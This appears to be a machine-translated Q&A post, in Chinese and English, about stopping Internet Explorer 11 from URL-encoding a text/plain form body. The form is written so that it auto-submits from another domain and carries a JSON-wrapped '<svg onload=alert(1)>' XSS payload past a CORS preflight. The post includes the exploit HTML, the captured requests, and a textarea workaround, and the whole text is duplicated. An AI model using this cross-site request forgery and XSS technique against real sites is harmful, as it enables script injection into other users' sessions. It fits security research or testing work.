如何防止在 IE 中对 text/plain 进行表单正文编码
How to prevent form body encoding for text/plain in IE
即使我使用 enctype="text/plain".
,IE11.2848 也会对表单主体进行编码
<body>
<form action="/n/jsonxss" method="POST" enctype="text/plain">
<input type="hidden" name='{"test":"<svg onload=alert(1)>"}' value='{"test":"<svg onload=alert(1)>"}' />
<input type="submit" value="Submit request" />
</form>
<script>document.forms[0].submit()</script>
</body>
IE 发出的请求:
POST /n/jsonxss HTTP/1.1
Content-Type: text/plain
Content-Length: 73
Host: [..]
{%22test%22:%22<svg onload=alert(1)>%22}={"test":"<svg onload=alert(1)>"}
请求 Chrome 提出:
POST /n/jsonxss HTTP/1.1
Content-Type: text/plain
Content-Length: 65
Host: [..]
{"test":"<svg onload=alert(1)>"}={"test":"<svg onload=alert(1)>"}
如何在 IE11 中避免对 "name" 属性的双引号进行 url 编码?
此请求应从不同的域发送,因此 application/json 不是一个选项,因为它需要预检请求。
如果使用 <textarea>
而不是 <input>
,则 url 编码不适用:
<form action="/n/jsonxss" method="POST" enctype="text/plain">
<textarea name='{"<svg onload=alert(1)>":"'>"}</textarea>
</form>
即使我使用 enctype="text/plain".
,IE11.2848 也会对表单主体进行编码 <body>
<form action="/n/jsonxss" method="POST" enctype="text/plain">
<input type="hidden" name='{"test":"<svg onload=alert(1)>"}' value='{"test":"<svg onload=alert(1)>"}' />
<input type="submit" value="Submit request" />
</form>
<script>document.forms[0].submit()</script>
</body>
IE 发出的请求:
POST /n/jsonxss HTTP/1.1
Content-Type: text/plain
Content-Length: 73
Host: [..]
{%22test%22:%22<svg onload=alert(1)>%22}={"test":"<svg onload=alert(1)>"}
请求 Chrome 提出:
POST /n/jsonxss HTTP/1.1
Content-Type: text/plain
Content-Length: 65
Host: [..]
{"test":"<svg onload=alert(1)>"}={"test":"<svg onload=alert(1)>"}
如何在 IE11 中避免对 "name" 属性的双引号进行 url 编码?
此请求应从不同的域发送,因此 application/json 不是一个选项,因为它需要预检请求。
如果使用 <textarea>
而不是 <input>
,则 url 编码不适用:
<form action="/n/jsonxss" method="POST" enctype="text/plain">
<textarea name='{"<svg onload=alert(1)>":"'>"}</textarea>
</form>